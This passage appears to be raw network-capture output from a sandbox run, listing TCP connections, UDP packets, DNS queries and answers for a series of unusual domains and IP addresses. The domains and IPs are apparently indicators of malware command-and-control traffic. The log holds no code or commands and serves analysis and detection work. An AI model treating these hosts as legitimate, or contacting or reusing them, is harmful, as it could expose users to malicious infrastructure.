Sep 12, 2024 15:07:40.502634048 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502650023 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502665997 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502676964 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.502681017 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502705097 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502718925 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502733946 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502748966 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502774000 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.502795935 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.507617950 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.507636070 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.507653952 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.507692099 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.507761955 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.507817030 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.741565943 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741590977 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741616964 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741631031 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741703033 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.741729975 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.741738081 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741782904 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.741822958 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.742475986 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.742506027 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.742547989 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.742551088 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.742909908 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.742945910 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.743324995 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.743374109 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.747411966 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:40.752427101 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:46.244471073 CEST	49775	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:46.249505043 CEST	80	49775	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:46.249581099 CEST	49775	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:46.266565084 CEST	49775	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:46.272150993 CEST	80	49775	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:47.151875019 CEST	80	49775	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:47.152153969 CEST	80	49775	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:47.152302027 CEST	49775	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:47.772619963 CEST	49775	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:48.791341066 CEST	49776	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:48.796396017 CEST	80	49776	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:48.796485901 CEST	49776	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:48.807373047 CEST	49776	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:48.813611984 CEST	80	49776	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:49.683084011 CEST	80	49776	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:49.683542967 CEST	80	49776	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:49.683728933 CEST	49776	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:50.319341898 CEST	49776	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:51.339425087 CEST	49777	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:51.344257116 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.344541073 CEST	49777	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:51.355828047 CEST	49777	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:51.361035109 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361068964 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361103058 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361131907 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361159086 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361382008 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361411095 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361442089 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:51.361596107 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:52.206064939 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:52.206273079 CEST	80	49777	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:52.206346989 CEST	49777	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:52.866245985 CEST	49777	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:53.885459900 CEST	49778	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:54.637150049 CEST	80	49778	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:54.637274027 CEST	49778	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:54.644417048 CEST	49778	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:54.650527954 CEST	80	49778	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:55.525688887 CEST	80	49778	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:55.525878906 CEST	80	49778	45.113.201.77	192.168.2.4
Sep 12, 2024 15:07:55.526268005 CEST	49778	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:55.529086113 CEST	49778	80	192.168.2.4	45.113.201.77
Sep 12, 2024 15:07:55.534775972 CEST	80	49778	45.113.201.77	192.168.2.4
Sep 12, 2024 15:08:00.582412004 CEST	49779	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:00.590302944 CEST	80	49779	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:00.590373993 CEST	49779	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:00.604260921 CEST	49779	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:00.609230042 CEST	80	49779	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:01.062894106 CEST	80	49779	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:01.063349009 CEST	80	49779	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:01.064027071 CEST	49779	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:02.116385937 CEST	49779	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:03.136954069 CEST	49780	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:03.142075062 CEST	80	49780	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:03.142553091 CEST	49780	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:03.156893015 CEST	49780	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:03.161917925 CEST	80	49780	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:03.599111080 CEST	80	49780	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:03.599226952 CEST	80	49780	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:03.599426031 CEST	49780	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:04.663259983 CEST	49780	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:05.684871912 CEST	49781	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:05.729769945 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.732983112 CEST	49781	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:05.744869947 CEST	49781	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:05.750216007 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750286102 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750416040 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750430107 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750634909 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750648975 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750660896 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750673056 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:05.750684977 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:06.206929922 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:06.213434935 CEST	80	49781	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:06.213488102 CEST	49781	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:07.256952047 CEST	49781	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.287918091 CEST	49782	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.293104887 CEST	80	49782	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:08.293184996 CEST	49782	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.300906897 CEST	49782	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.306516886 CEST	80	49782	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:08.786214113 CEST	80	49782	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:08.786737919 CEST	80	49782	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:08.786855936 CEST	49782	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.789294004 CEST	49782	80	192.168.2.4	76.223.113.161
Sep 12, 2024 15:08:08.794172049 CEST	80	49782	76.223.113.161	192.168.2.4
Sep 12, 2024 15:08:22.176883936 CEST	49783	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:22.181751966 CEST	80	49783	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:22.181803942 CEST	49783	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:22.194998980 CEST	49783	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:22.199852943 CEST	80	49783	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:22.878165960 CEST	80	49783	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:22.878238916 CEST	80	49783	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:22.883445978 CEST	49783	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:23.710933924 CEST	49783	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:24.730818987 CEST	49784	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:24.735764027 CEST	80	49784	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:24.735995054 CEST	49784	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:24.750397921 CEST	49784	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:24.755289078 CEST	80	49784	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:25.443216085 CEST	80	49784	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:25.443507910 CEST	80	49784	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:25.443625927 CEST	49784	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:26.257071972 CEST	49784	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:27.276916981 CEST	49785	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:27.281836987 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.281961918 CEST	49785	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:27.299057961 CEST	49785	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:27.303975105 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.303986073 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304042101 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304050922 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304059029 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304102898 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304111958 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304120064 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.304150105 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.981729031 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.981828928 CEST	80	49785	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:27.981899023 CEST	49785	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:28.803855896 CEST	49785	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:29.843622923 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:29.848747969 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:29.848939896 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:29.899676085 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:29.904550076 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:30.548763037 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:30.548953056 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:30.548965931 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:30.549061060 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:30.549091101 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:30.552908897 CEST	49786	80	192.168.2.4	84.32.84.37
Sep 12, 2024 15:08:30.557739973 CEST	80	49786	84.32.84.37	192.168.2.4
Sep 12, 2024 15:08:35.708200932 CEST	49787	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:35.713325024 CEST	80	49787	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:35.713442087 CEST	49787	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:35.725043058 CEST	49787	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:35.730429888 CEST	80	49787	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:36.171818972 CEST	80	49787	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:36.171879053 CEST	49787	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:37.242955923 CEST	49787	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:37.247875929 CEST	80	49787	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:38.261574030 CEST	49788	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:38.266628981 CEST	80	49788	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:38.266705990 CEST	49788	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:38.280320883 CEST	49788	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:38.285274982 CEST	80	49788	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:38.741099119 CEST	80	49788	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:38.741158962 CEST	49788	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:39.788501024 CEST	49788	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:39.793463945 CEST	80	49788	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.807609081 CEST	49789	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:40.812591076 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.812690020 CEST	49789	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:40.824382067 CEST	49789	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:40.829307079 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829318047 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829327106 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829377890 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829394102 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829476118 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829484940 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829519033 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:40.829529047 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:42.214108944 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:42.214170933 CEST	49789	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:42.335201025 CEST	49789	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:42.340548038 CEST	80	49789	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:43.356921911 CEST	49790	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:43.361944914 CEST	80	49790	3.33.130.190	192.168.2.4
Sep 12, 2024 15:08:43.362076044 CEST	49790	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:43.369678020 CEST	49790	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:08:43.374630928 CEST	80	49790	3.33.130.190	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 15:05:29.315604925 CEST	64772	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:05:30.319345951 CEST	64772	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:05:30.759830952 CEST	53	64772	1.1.1.1	192.168.2.4
Sep 12, 2024 15:05:30.759849072 CEST	53	64772	1.1.1.1	192.168.2.4
Sep 12, 2024 15:05:46.699390888 CEST	59798	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:05:46.732034922 CEST	53	59798	1.1.1.1	192.168.2.4
Sep 12, 2024 15:06:00.230356932 CEST	59569	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:06:00.723598957 CEST	53	59569	1.1.1.1	192.168.2.4
Sep 12, 2024 15:06:14.197856903 CEST	55058	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:06:14.212754965 CEST	53	55058	1.1.1.1	192.168.2.4
Sep 12, 2024 15:06:27.349145889 CEST	56960	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:06:27.781498909 CEST	53	56960	1.1.1.1	192.168.2.4
Sep 12, 2024 15:06:41.224716902 CEST	61381	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:06:41.481323004 CEST	53	61381	1.1.1.1	192.168.2.4
Sep 12, 2024 15:06:54.604335070 CEST	56578	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:06:54.636746883 CEST	53	56578	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:07.776221037 CEST	60900	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:08.772476912 CEST	60900	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:09.788156033 CEST	60900	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:10.245091915 CEST	53	60900	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:10.245115995 CEST	53	60900	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:10.245125055 CEST	53	60900	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:13.289899111 CEST	50120	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:13.301229954 CEST	53	50120	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:18.307971001 CEST	57310	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:18.325428009 CEST	53	57310	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:31.697649002 CEST	54592	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:31.880407095 CEST	53	54592	1.1.1.1	192.168.2.4
Sep 12, 2024 15:07:45.762868881 CEST	55709	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:07:46.241389990 CEST	53	55709	1.1.1.1	192.168.2.4
Sep 12, 2024 15:08:00.543067932 CEST	58100	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:08:00.579713106 CEST	53	58100	1.1.1.1	192.168.2.4
Sep 12, 2024 15:08:13.808892965 CEST	54890	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:08:14.059242964 CEST	53	54890	1.1.1.1	192.168.2.4
Sep 12, 2024 15:08:22.123928070 CEST	56108	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:08:22.174263954 CEST	53	56108	1.1.1.1	192.168.2.4
Sep 12, 2024 15:08:35.685852051 CEST	62858	53	192.168.2.4	1.1.1.1
Sep 12, 2024 15:08:35.705642939 CEST	53	62858	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 12, 2024 15:05:29.315604925 CEST	192.168.2.4	1.1.1.1	0x7da7	Standard query (0)	www.jz07259dkijw.cloud	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:05:30.319345951 CEST	192.168.2.4	1.1.1.1	0x7da7	Standard query (0)	www.jz07259dkijw.cloud	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:05:46.699390888 CEST	192.168.2.4	1.1.1.1	0xd5d0	Standard query (0)	www.academy-training.xyz	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:00.230356932 CEST	192.168.2.4	1.1.1.1	0x5ffe	Standard query (0)	www.fslab.tech	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:14.197856903 CEST	192.168.2.4	1.1.1.1	0x3db2	Standard query (0)	www.vip66.zone	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:27.349145889 CEST	192.168.2.4	1.1.1.1	0x60c3	Standard query (0)	www.lyxor.top	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:41.224716902 CEST	192.168.2.4	1.1.1.1	0xa457	Standard query (0)	www.unveiled.digital	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:54.604335070 CEST	192.168.2.4	1.1.1.1	0xbe75	Standard query (0)	www.cake11298.online	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:07.776221037 CEST	192.168.2.4	1.1.1.1	0x87b6	Standard query (0)	www.xsg.icu	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:08.772476912 CEST	192.168.2.4	1.1.1.1	0x87b6	Standard query (0)	www.xsg.icu	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:09.788156033 CEST	192.168.2.4	1.1.1.1	0x87b6	Standard query (0)	www.xsg.icu	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:13.289899111 CEST	192.168.2.4	1.1.1.1	0x4be2	Standard query (0)	www.xsg.icu	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:18.307971001 CEST	192.168.2.4	1.1.1.1	0xd8d	Standard query (0)	www.jobworklanka.online	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:31.697649002 CEST	192.168.2.4	1.1.1.1	0x1237	Standard query (0)	www.shipincheshi.skin	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:45.762868881 CEST	192.168.2.4	1.1.1.1	0x3533	Standard query (0)	www.sssqqq07-22.fun	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:00.543067932 CEST	192.168.2.4	1.1.1.1	0x49f8	Standard query (0)	www.justlivn.net	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:13.808892965 CEST	192.168.2.4	1.1.1.1	0xc9df	Standard query (0)	www.mypos.support	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:22.123928070 CEST	192.168.2.4	1.1.1.1	0x4724	Standard query (0)	www.healtheduction.site	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:35.685852051 CEST	192.168.2.4	1.1.1.1	0xf525	Standard query (0)	www.globyglen.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 12, 2024 15:05:30.759830952 CEST	1.1.1.1	192.168.2.4	0x7da7	No error (0)	www.jz07259dkijw.cloud	laohuang.zhongshengxinyun.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:05:30.759830952 CEST	1.1.1.1	192.168.2.4	0x7da7	No error (0)	laohuang.zhongshengxinyun.com		43.135.99.21	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:05:30.759849072 CEST	1.1.1.1	192.168.2.4	0x7da7	No error (0)	www.jz07259dkijw.cloud	laohuang.zhongshengxinyun.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:05:30.759849072 CEST	1.1.1.1	192.168.2.4	0x7da7	No error (0)	laohuang.zhongshengxinyun.com		43.135.99.21	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:05:46.732034922 CEST	1.1.1.1	192.168.2.4	0xd5d0	No error (0)	www.academy-training.xyz		79.125.89.83	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:05:46.732034922 CEST	1.1.1.1	192.168.2.4	0xd5d0	No error (0)	www.academy-training.xyz		54.171.44.82	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:00.723598957 CEST	1.1.1.1	192.168.2.4	0x5ffe	No error (0)	www.fslab.tech		160.251.148.115	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:14.212754965 CEST	1.1.1.1	192.168.2.4	0x3db2	No error (0)	www.vip66.zone	vip66.zone		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:06:14.212754965 CEST	1.1.1.1	192.168.2.4	0x3db2	No error (0)	vip66.zone		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:14.212754965 CEST	1.1.1.1	192.168.2.4	0x3db2	No error (0)	vip66.zone		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:27.781498909 CEST	1.1.1.1	192.168.2.4	0x60c3	No error (0)	www.lyxor.top		203.161.43.228	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:41.481323004 CEST	1.1.1.1	192.168.2.4	0xa457	No error (0)	www.unveiled.digital	unveiled.digital		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:06:41.481323004 CEST	1.1.1.1	192.168.2.4	0xa457	No error (0)	unveiled.digital		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:41.481323004 CEST	1.1.1.1	192.168.2.4	0xa457	No error (0)	unveiled.digital		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:54.636746883 CEST	1.1.1.1	192.168.2.4	0xbe75	No error (0)	www.cake11298.online	ncumibrs.github.io		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:06:54.636746883 CEST	1.1.1.1	192.168.2.4	0xbe75	No error (0)	ncumibrs.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:54.636746883 CEST	1.1.1.1	192.168.2.4	0xbe75	No error (0)	ncumibrs.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:54.636746883 CEST	1.1.1.1	192.168.2.4	0xbe75	No error (0)	ncumibrs.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:06:54.636746883 CEST	1.1.1.1	192.168.2.4	0xbe75	No error (0)	ncumibrs.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:10.245091915 CEST	1.1.1.1	192.168.2.4	0x87b6	Name error (3)	www.xsg.icu	none	none	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:10.245115995 CEST	1.1.1.1	192.168.2.4	0x87b6	Name error (3)	www.xsg.icu	none	none	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:10.245125055 CEST	1.1.1.1	192.168.2.4	0x87b6	Name error (3)	www.xsg.icu	none	none	A (IP address)	IN (0x0001)	false
